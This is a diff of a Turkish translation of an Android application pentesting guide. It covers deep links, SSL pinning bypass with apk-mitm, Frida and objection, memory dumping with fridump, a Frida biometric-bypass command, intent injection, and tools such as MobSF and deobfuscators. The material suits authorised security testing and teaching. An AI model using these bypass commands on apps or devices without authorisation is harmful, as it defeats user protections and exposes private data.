Derin bağlantıları manuel olarak, MobSF gibi araçlar veya [bu](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi betikler kullanarak arayabilirsiniz.\
|
||||
Bir tanımlı **şemayı** **adb** veya bir **tarayıcı** kullanarak **açabilirsiniz**:
|
||||
Bir tanımlanmış **şemayı** **adb** veya bir **tarayıcı** kullanarak **açabilirsiniz**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
@ -393,17 +394,17 @@ Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğ
|
||||
|
||||
**Daha fazla örnek**
|
||||
|
||||
Bağlantılar hakkında ilginç bir [bug bounty raporu](https://hackerone.com/reports/855618) (_/.well-known/assetlinks.json_).
|
||||
Bağlantılar hakkında [ilginç bir hata ödül raporu](https://hackerone.com/reports/855618) (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Taşıma Katmanı İncelemesi ve Doğrulama Hataları
|
||||
|
||||
- **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
|
||||
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
|
||||
- **Özel bilgilerin sızması** güvenli kanallar aracılığıyla kimlik doğrulaması yapan uygulamalar, ancak diğer işlemler için güvenli olmayan kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
- Android uygulamaları **sertifikaları her zaman düzgün bir şekilde incelemez**. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
|
||||
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortası (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
|
||||
- Uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken, diğer işlemler için güvensiz kanallar üzerinden iletişim kurmaları durumunda **özel bilgilerin sızması** riski vardır. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
|
||||
#### Sertifika Doğrulama
|
||||
|
||||
**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi önemli riskler oluşturabileceğinden kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları ele alma konusunda ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır.
|
||||
**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi durumunda önemli riskler oluşturabileceğinden kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları giderme ile ilgili ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
@ -413,35 +414,35 @@ SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bi
|
||||
|
||||
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
**API Level 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenliği Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenliği Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md).
|
||||
**API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenlik Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenlik Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
**Flutter** kullanılıyorsa, [**bu sayfadaki**](flutter.md) talimatları takip etmeniz gerekir. Bunun nedeni, sertifikayı depoya eklemenin işe yaramayacak olmasıdır, çünkü Flutter'ın kendi geçerli CA listesi vardır.
|
||||
|
||||
#### SSL Pinning'i Atlatma
|
||||
#### SSL Pinning'i Aşma
|
||||
|
||||
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
|
||||
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
|
||||
|
||||
- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **atlatmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi yanı, SSL Pinning'i atlatmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
- Bu korumayı atlatmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **SSL Pinning'i otomatik olarak atlatmayı** denemek için [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak atlatmayı** deneyebilirsiniz (aşağıda açıklanmıştır).
|
||||
- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i aşmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
- Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **SSL Pinning'i otomatik olarak aşmayı** denemek için [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak aşmayı** deneyebilirsiniz (aşağıda açıklanmıştır).
|
||||
- Hala yakalamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Yaygın Web Zayıflıklarını Arama
|
||||
|
||||
Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıflıkları tanımlama ve hafifletme konusunda ayrıntılı bilgi, bu özetin kapsamının ötesindedir ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır.
|
||||
Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıflıkları tanımlama ve hafifletme ile ilgili ayrıntılı bilgiler bu özetin kapsamının ötesindedir, ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik bir enstrümantasyon aracıdır.\
|
||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri bağlayarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
|
||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri yakalayarak davranışları değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
|
||||
Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz.
|
||||
|
||||
- Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/index.html)
|
||||
- Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection, Frida kullanımını otomatikleştirmek için harika: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Belleği Dökme - Fridump**
|
||||
|
||||
@ -456,13 +457,13 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Bu, ./dump klasöründe belleği dökecektir ve burada şunlarla grep yapabilirsiniz:
|
||||
Bu, ./dump klasöründeki belleği dökecektir ve orada şunlarla grep yapabilirsiniz:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Keystore'daki Hassas Veriler**
|
||||
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığından, pentestlerin bunu root kullanıcı olarak kontrol etmesi gerekir; aksi takdirde, cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada **hassas verileri düz metin olarak** saklama eğiliminde olduğundan, pentestlerin bunu root kullanıcı olarak kontrol etmesi gerekir; aksi takdirde, cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
|
||||
Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir.
|
||||
|
||||
@ -472,19 +473,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Parmak İzi/Biyometrik Bypass**
|
||||
|
||||
Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** için gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir:
|
||||
Aşağıdaki Frida betiğini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** amacıyla gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir:
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Arka Plan Görüntüleri**
|
||||
|
||||
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama yüklenmeden önce görüntüyü yüklemeye başlar, bu da uygulamanın daha hızlı yüklendiği izlenimini verir.
|
||||
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama yüklenmeden önce görüntüyü yüklemeye başlar, böylece uygulamanın daha hızlı yüklendiği izlenimi verir.
|
||||
|
||||
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişmek için root'a ihtiyacınız olduğunu unutmayın).
|
||||
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişim için root gereklidir).
|
||||
|
||||
Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
|
||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -494,20 +495,20 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı
|
||||
|
||||
### Intent Enjeksiyonu
|
||||
|
||||
Geliştiriciler genellikle bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir.
|
||||
Geliştiriciler genellikle bu Intents'leri işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir.
|
||||
|
||||
Tehlike, saldırganların bu Intents'i yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, potansiyel olarak kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, `Intent.parseUri(...)` aracılığıyla yapılır ve ardından bunları çalıştırarak kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
|
||||
### Temel Çıkarımlar
|
||||
|
||||
- **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer.
|
||||
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir.
|
||||
- Sömürüler, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri gerçekleştirmek için yönlendirilebilir.
|
||||
- Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir.
|
||||
- `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir.
|
||||
|
||||
### Android İstemci Tarafı Enjeksiyonları ve Diğerleri
|
||||
|
||||
Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz:
|
||||
Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına karşı özellikle dikkatli olmalısınız:
|
||||
|
||||
- **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun.
|
||||
- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
|
||||
@ -533,14 +534,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını (_Windows uygulamaları, Windows ana bilgisayarında kurulu bir MobSF'den analiz edilmelidir_) analiz edebilir.\
|
||||
Ayrıca, bir **Android** veya **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bunu da analiz edebilecektir.
|
||||
|
||||
MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekir: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'u `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
|
||||
MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'u `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
|
||||
|
||||
### MobSF ile Yardımlı Dinamik Analiz
|
||||
|
||||
**MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecektir (bir VM veya Docker çalışmaz). _Not: Öncelikle **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız**._\
|
||||
**MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Öncelikle **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\
|
||||
**MobSF dinamik analizörü** şunları yapabilir:
|
||||
|
||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir.
|
||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" butonuna basmanız gerekir.
|
||||
- **HTTPS trafiğini yakalama**
|
||||
- **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma
|
||||
|
||||
@ -548,7 +549,7 @@ Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başla
|
||||
|
||||
**Frida**
|
||||
|
||||
Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **hata ayıklayıcı tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
Varsayılan olarak, SSL pinning, **root tespiti** ve **hata ayıklayıcı tespiti** atlamak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
|
||||
|
||||
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
|
||||
@ -559,11 +560,11 @@ MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida
|
||||
Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var:
|
||||
|
||||
- **Yüklenen Sınıfları Sayma**: Yüklenen tüm sınıfları yazdırır
|
||||
- **Dizeleri Yakalama**: Uygulamayı kullanırken yakalanan tüm dizeleri yazdırır (çok gürültülü)
|
||||
- **Dizeleri Yakalama**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
|
||||
- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**.
|
||||
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdırır.
|
||||
- **Sınıf Deseni Arama**: Desene göre sınıfları arar
|
||||
- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görün). Varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") yazın ve sınıfın tüm yöntemlerini yazdırır.
|
||||
- **Sınıf Deseni Arama**: Desene göre sınıfları arama
|
||||
- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izleme** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görün). Varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
|
||||
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
|
||||
|
||||
@ -667,16 +668,16 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA**, **M**obil **A**pplication **R**everse engineering ve **A**naliz Framework'üdür. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir.
|
||||
**MARA**, **M**obil **A**pp Uygulaması **R**everse engineering ve **A**naliz Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir.
|
||||
|
||||
Şunları yapabilir:
|
||||
|
||||
- Farklı araçlar kullanarak Java ve Smali kodunu çıkarmak
|
||||
- APK'ları analiz etmek için: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Regex kullanarak APK'dan özel bilgileri çıkarmak.
|
||||
- APK'den özel bilgileri regex kullanarak çıkarmak.
|
||||
- Manifest'i analiz etmek.
|
||||
- Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek.
|
||||
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) aracılığıyla deobfuscate etmek
|
||||
|
||||
### Koodous
|
||||
|
||||
@ -694,29 +695,29 @@ ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APK'yi deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz.
|
||||
APK'yi deobfuscate etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz.
|
||||
|
||||
(Bu kılavuzdan) Son kontrol ettiğimizde, Dexguard çalışma modu şuydu:
|
||||
|
||||
- Bir kaynağı InputStream olarak yüklemek;
|
||||
- Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek;
|
||||
- Sonucu deşifre etmek için FilterInputStream'den türetilen bir sınıfa beslemek;
|
||||
- Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak;
|
||||
- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak;
|
||||
- Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation sürecini tersine çevirir. Bu, kod denetimi ve kütüphaneleri tahmin etme gibi birçok güvenlik analizini mümkün kılar.**
|
||||
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation sürecini tersine çevirir. Bu, kod incelemesi ve kütüphaneleri tahmin etme gibi birçok güvenlik analizini mümkün kılar.**
|
||||
|
||||
Obfuscate edilmiş bir APK'yı platformlarına yükleyebilirsiniz.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve Android uygulama kodunu deşifre etmek için bir LLM aracıdır. Google'ın Gemini kamu API'sini kullanır.
|
||||
Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve Android uygulama kodunu deobfuscate etmek için bir LLM aracıdır. Google'ın Gemini kamu API'sini kullanır.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü ne olursa olsun önemli değildir.
|
||||
Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü önemli değildir.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
@ -724,13 +725,13 @@ APKiD, **bir APK'nın nasıl yapıldığını** size bildirir. Birçok **derleyi
|
||||
|
||||
### Manual
|
||||
|
||||
[Özel obfuscation'ı tersine çevirme ile ilgili bazı ipuçlarını öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
[Özel obfuscation'ı nasıl tersine çevireceğinizi öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve tersine mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son framework, eğitimler ve laboratuvarları içermektedir.
|
||||
AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve tersine mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitim ve laboratuvar koleksiyonunu içerir.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -0,0 +1,145 @@
|
||||
